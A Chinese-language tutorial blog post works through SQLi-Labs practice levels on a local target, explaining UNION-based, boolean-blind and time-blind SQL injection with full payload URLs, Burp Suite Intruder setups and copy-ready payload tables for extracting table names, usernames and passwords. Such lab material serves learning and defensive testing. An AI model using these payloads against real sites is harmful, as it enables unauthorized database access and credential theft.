SQL注入-入门学习

联合注入

基本原理

一、核心定义:联合注入攻击利用了关系型数据库的UNION查询操作符特性。其根本漏洞成因在于:Web应用程序在构建动态SQL语句时,将用户输入作为代码的一部分进行字符串拼接,且未对输入进行有效的过滤或参数化处理。
二、原理拆解
1、 结果集合并(集合操作):UNION操作符用于将两个及以上SELECT语句的结果集合并为一个统一的结果集返回给客户端。攻击者通过闭合原始SQL语句中的引号或括号,注入额外的SELECT查询。

2、强制性同构(列数与类型对齐):数据库引擎执行UNION时,要求各子句的列数量必须完全一致,且对应列的数据类型必须相互兼容(或能隐式转换)。因此,攻击者通常先通过ORDER BY进行“列数探针”以确保恶意查询能合法执行。

3、数据混淆与越权读取:一旦满足同构条件,数据库会将原始业务查询的结果集与攻击者构造的恶意查询结果集(例如查询information_schema系统库中的敏感表名、字段名,或直接拖取用户密码字段)在内存中合并。由于Web服务端通常只负责将查询结果集直接渲染到HTML页面的特定变量中(即“回显点”),因此攻击者构造的数据会随着正常业务数据一起被输出到前端,从而完成数据外泄。
三、本质总结:这是一种典型的“控制流与数据流混淆”漏洞,即用户输入跨越了数据边界的红线,被数据库解析器误识别为可执行的指令代码。

字符型注入

1、SQLi-Labs_Less1
首先打开界面
img
提示我们要输入ID
http://127.0.0.1/sql/Less-1/?id=1

这里要解释一下为什么是?id=1:在本题当中HTTP传参方式是GET,基于这种方式是直接在url后面加?然后再加id=1作用是以GET的方式传递id这个参数给服务端

img
回车换行后发现页面正常回显,尝试使用单引号'闭合
img
我们可以看到mysql出现了报错,为什么会出现这个报错?原因是因为我们多上传了一个单引号',导致sql语句闭合,下面我将详细解释一下报错中的"1"是什么意思,以及为什么会出现这个报错。

$id=$_GET['id'];

这是其后端源码的一部分,我们可以看到:当我们上传id=1'时,会在id后再加一对单引号,新id就变成了'1'',接下来再看另一部分的源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们可以看到系统在新id外又新加了一层单引号,所以这条语句就变成了

$sql="SELECT * FROM users WHERE id=''1''' LIMIT 0,1";

数字1的前面只有两个单引号,后面有三个单引号,这样匹配下来就多了一个单引号出现了报错。在sql语句执行时,会去掉数字1最外端的一对单引号,就变成了'1'',我们再会看报错信息:
near ''1'' LIMIT 0,1'
near自带一对单引号,去掉它们就变成了'1'' LIMIT 0,1,数字1的左右两边出现了数量不一的单引号。这里的确比较绕,简单来说:一个多余的引号破坏了整个 SQL 语句的引号平衡,导致解析失败。
这时如果我们在?id=1'后添加mysql的注释--+,就变成了

$sql="SELECT * FROM users WHERE id=''1''--+' LIMIT 0,1";

这样后面的' LIMIT 0,1"就不会引发报错,如果我们此时输入?id=1 order by 3 --+,那么此时SQL语句就会变成

$sql="SELECT * FROM users WHERE id=''1'' order by 3 --+' LIMIT 0,1";

这样就可以执行代码order by 3
http://127.0.0.1/sql/Less-1/?id=1' --+
img
此时我们可以进行联合注入,先判断它有几列
http://127.0.0.1/sql/Less-1/?id=1' order by 3 --+
img
正常回显,继续尝试有无第四列
img
没有第四列,说明只有三列,然后继续判断回显位置

http://127.0.0.1/sql/Less-1/?id=1' union select 1,2,3 --+
img
为什么查询不到呢?不是因为union没有执行,而是Web应用通常只显示查询结果的第一行,所以浏览器直接返回了id=1的页面,如果要达到判断回显的目的,需要让第一个SELECT为假,也就是无法返回数据。更新后的exp如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 --+
img
由此可见,回显位置是union select 1,2,3的数字23的位置,接下来就可以爆库名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),3 --+
img
当前数据库为security,接下来我们可以利用mysql的一个特性:information_schema。这是一个非常特殊的数据库,里面存储了mysql所有数据库的系统信息,这个数据库可以帮助我们知道security数据库的所有表。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
img

这里需要解释一下为什么要使用group_concat:这个函数的作用是提取多行数据返回成一行表现出来。

表名我们已经知道了,接下来就该爆破users表里的列名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
img
其中username和password是我们的最终目标!临门一脚爆破出所有username和password。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
img
2、SQLi-Labs_Less3
照例打开题目,尝试单引号闭合:
img

报错信息再次出现差异,重点关注'1''),比起第一关多了一个),可能是sql语句对参数id添加了一对小括号,当我们输入1'时sql语句就成了SELECT * FROM users WHERE id=('1'') LIMIT 0,1,我们可以先进行小括号闭合,再单引号闭合,poc如下:

http://127.0.0.1/sqli-labs/Less-3/?id=1') --+

img

发现正常回显,成功验证!后续爆破数据库名等信息的步骤这里不再赘述。

数字型注入

1、SQLi-Labs_Less2

打开题目,先尝试一下单引号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1'发现的确出现了回显:img
我们可以注意到:报错信息中没有1'而是'只有一个单引号,没有数字1,说明这里没有成功闭合,猜测sql语句可能是

"SELECT * FROM users WHERE id=$id LIMIT 0,1";

所以才会出现只有一个单引号的报错,系统检测到1没问题,检测到'才输出报错,这是经典的数字型注入,poc如下:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1

回显正常,如果输入:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2

页面无回显,确定是数字型注入,后续步骤与第一关大同小异。

补充说明:?id=1 and 1=1 以及 ?id=1 and 1=2 是经典的验证数字型注入的方法

2、SQLi-Labs_Less4

按照以往方法测试
http://127.0.0.1/sqli-labs/Less-4/?id=1'

发现没有报错img
使用双引号测试一下:
http://127.0.0.1/sqli-labs/Less-4/?id=1"
img
发现报错信息是双引号和小括号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") --+
img
成功回显!其余步骤与之前完全一致,这里不再叙述了。

SQL 注入的本质在于:服务端没有对用户输入中的恶意代码进行过滤或转义,导致攻击者可以通过构造特殊输入来操纵数据库查询,进而造成信息泄露甚至系统失陷。在 sqli-labs 靶场中,我们常用--+将后续的 SQL 语句注释掉,从而屏蔽掉原始查询中可能干扰执行的报错或多余条件,使我们的恶意代码顺利执行。因此,只要页面出现了预期的成功回显(例如正常显示数据库内容、绕过登录等),就证明服务端没有对输入做有效检查和过滤,也就意味着我们可以利用这个漏洞达成攻击目的。

盲注

基本原理

盲注说的是看不到页面的任何具体回显数据,页面只有成功访问例如:You are in .....或者空白,没有任何回显。此时只能通过向数据库“提问”的方式,根据返回状态的真假(布尔盲注)或者页面回显的延迟(时间盲注)来判断。

布尔盲注

一、原理:顾名思义,就是利用是否来判断。简单来说,就是将敏感数据转化为是否的问题,通过页面返回的真假,逐步猜出数据。
二、sqli-labs
1、Less-8
打开题目,照例尝试一下单引号闭合?id=1'
img
发现没有回显,说明出现错误,再利用--+注释错误:
img
出现You are in.......说明题目确实是单引号闭合,接下来利用Burp Suite爆破数据库名,首先进行抓包并发送到攻击器模块,右击选择发送到攻击器。
img
然后配置payload:?id=1' and ascii(substr(database(),1,1))=1 --+

这里需要解释一下:ascii()和substr(),这是MySQL内置的两个函数。
ascii():将字符转为 ASCII 码
substr() :截取字符串
ascii(substr(database(),1,1))的执行顺序是先通过database()提取数据库:security,然后再利用substr(database(),1,1)从第一个位置开始截取一个字符串,得到s,最后由ascii()转化成ascii值。简单来说,就是一个字符一个字符逐一拆解数据库名称,使用Burp Suite会方便许多。

移送到攻击器模块后,我们可以添加两个攻击位置,攻击方式选择集群炸弹,也就是同时对两个位置进行测试。
这是第一个攻击位置的配置:

  • 类型:顺序
  • 从:1
  • 到:8
  • 步骤:1

img

说明:这里填 1-8 是因为已知当前数据库名 security 长度为 8。实际使用时长度未知,可以先写大一点(如 1-30),最后根据哪几个位置没有命中对勾来截断;或先用单独一轮 length(database())=N 探测长度。

第二个攻击位置的配置:

  • 类型:顺序
  • 从:32(空格,可见字符起点)
  • 到:126(~,可见字符终点)
  • 步骤:1

img

接下来需要配置一个设置中的匹配规则,当匹配到You are in...........时标记(此Burp Suite中是标记为1
img
总结一下Burp Suite配置的流程。
img
最后的结果大致如下:
img
后续只要按顺序将ascii值转化成字符就可以推测出数据库名为security

阶段 核心子查询 完整 payload 模板
表数量 count(table_name) ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=N --+
表名长度 length((... limit m,1)) ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=N --+
表名字符 ascii(substr(...,i,1)) ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=N --+
列名 information_schema.columns ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=N --+
数据 select 列 from 库.表 ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=N --+

2、Less-15
这一关和之前略有不同,其传参方式不是GET,而是更加常见的POST,更加贴近于实战。
(1)确认注入类型:打开题目,界面变成了登录框的形式,尝试万能密码:1' or 1=1 #,发现的确是单引号闭合
img
没有回显,考虑时间盲注或布尔盲注。
(2)进一步判断盲注类型
判断是否为布尔盲注,可以使用永真条件永假条件

  • 永真条件: uname=1' or 1=1 #&passwd=1 (1=1 为真,页面应提示登录成功)
  • 永假条件: uname=1' or 1=2 #&passwd=1 (1=2 为假,页面应提示登录失败)

首先在Username输入框输入1' or 1=1 #,Password框随便输入即可
img
img
发现登录成功,再尝试一下永假的情况:
img
登录失败,说明是布尔盲注。
(3)Burp Suite爆破
接下来就是利用Burp Suite逐一爆破数据库等敏感信息,payload如下:
1' or ascii(substr(database(),1,1))=1 #
img
img
3、Less-16
这一关和上一关内容大同小异,只是因为闭合方式不同,这一关是双引号闭合。
img

时间盲注

一、原理:时间盲注指的是在页面无回显的情况下,通过页面回显的延迟来判断。
二、函数
1、sleep()

sleep(seconds)
  • 作用:让数据库查询暂停seconds秒,返回0
  • 如果参数为NULL,即secondNULL,则返回NULL,不会延时。

2、benchmark()
如果sleep()函数被禁用,我们可以采用其他函数:benchmark()
(1)函数原型
benchmark()是MySQL的内置函数,官方用途是测量表达式执行速度,而非用来延时。
(2)函数表达式

BENCHMARK(count, expr)
  • count:执行的次数。为了能够明显测出时间差,通常需要设置一个很大的数字(比如 1000万次)。
  • expr:要测试的表达式。必须是一个标量表达式(返回单个值),比如 MD5('test') 或 1+1。
  • 测量范围:它只测量表达式在服务器端的运行时间。它不包含 SQL 解析、查询优化、网络传输或锁等待的时间。因此,它非常适合用来对比两个不同函数(如 MD5 vs SHA1)在 CPU 层面的纯计算性能

(3)示例

-- 测试 MD5 执行 1000 万次的时间
SELECT BENCHMARK(10000000, MD5('test'));

img
三、sqli-labs
1、Less-9
这一关和第八关不同,无论我们输入什么。都只会回显You are in...........且没有任何布尔逻辑,所以考虑时间盲注。
首先尝试一下单引号闭合:http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+,发现页面回显速度有明显的延迟,说明确定是单引号闭合。这样一步步过于繁琐了,我们使用Burp Suite。操作步骤和布尔盲注大同小异,这里只说一下不同的地方。
(1) Options 选项卡:
重点设置 Grep - Match(结果匹配),用来让我们一眼看出哪个请求延迟了。

  • 在 Grep - Match 区域,点击 Add。
  • 由于我们无法匹配页面内容,只能看时间,所以这里其实不需要匹配特定字符串。我们直接观察请求时间即可。(Burp 会自动在结果列表中显示每个请求的响应时间)。
    (2)结果需要通过接收到响应时间来判断
    img

当脚本走到115时,响应时间明显大幅度增大,说明ascii长度是115,也就是s
后续步骤这里不再过多赘述

阶段 核心逻辑 完整 Payload 模板 (直接复制修改 N, i, m 即可)
验证注入点 sleep(N) ?id=1' and sleep(3) --+
库名长度 length(database())=N ?id=1' and if(length(database())=N,sleep(3),0) --+
库名字符 ascii(substr(database(),i,1))=N ?id=1' and if(ascii(substr(database(),i,1))=N,sleep(3),0) --+
表数量 count(table_name)=N ?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=N,sleep(3),0) --+
表名长度 length((... limit m,1))=N ?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit m,1))=N,sleep(3),0) --+
表名字符 ascii(substr(...,i,1))=N ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m,1),i,1))=N,sleep(3),0) --+
列数量 count(column_name)=N ?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=N,sleep(3),0) --+
列名长度 length((... limit m,1))=N ?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1))=N,sleep(3),0) --+
列名字符 ascii(substr(...,i,1))=N ?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1),i,1))=N,sleep(3),0) --+
数据数量 count(列名)=N ?id=1' and if((select count(username) from security.users)=N,sleep(3),0) --+
数据长度 length((... limit m,1))=N ?id=1' and if(length((select username from security.users limit m,1))=N,sleep(3),0) --+
数据字符 ascii(substr(...,i,1))=N ?id=1' and if(ascii(substr((select username from security.users limit m,1),i,1))=N,sleep(3),0) --+
替代延迟方案 benchmark(N, expr) ?id=1' and if(条件,benchmark(30000000,md5('test')),0) --+

变量说明:

  • N:要猜解的数字(如长度为 8,ASCII 码为 115)。
  • i:截取的第几个字符(从 1 开始)。
  • m:查询的第几条记录(从 0 开始,如 limit 0,1 取第一条)。
  • sleep(3):延迟 3 秒,可根据网络环境调整为 2、5 等。
  • benchmark(...):当 sleep() 被过滤时的替代方案,利用 CPU 密集计算制造延迟。

2、Less-10
这一关和第九关基本相同,唯一一点就是闭合方式不同。
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5) --+
这一关是双引号闭合,其余步骤和第九关完全一致,这里不再赘述了。

posted @ 2026-06-09 11:02  abner957  阅读(34)  评论(0)    收藏  举报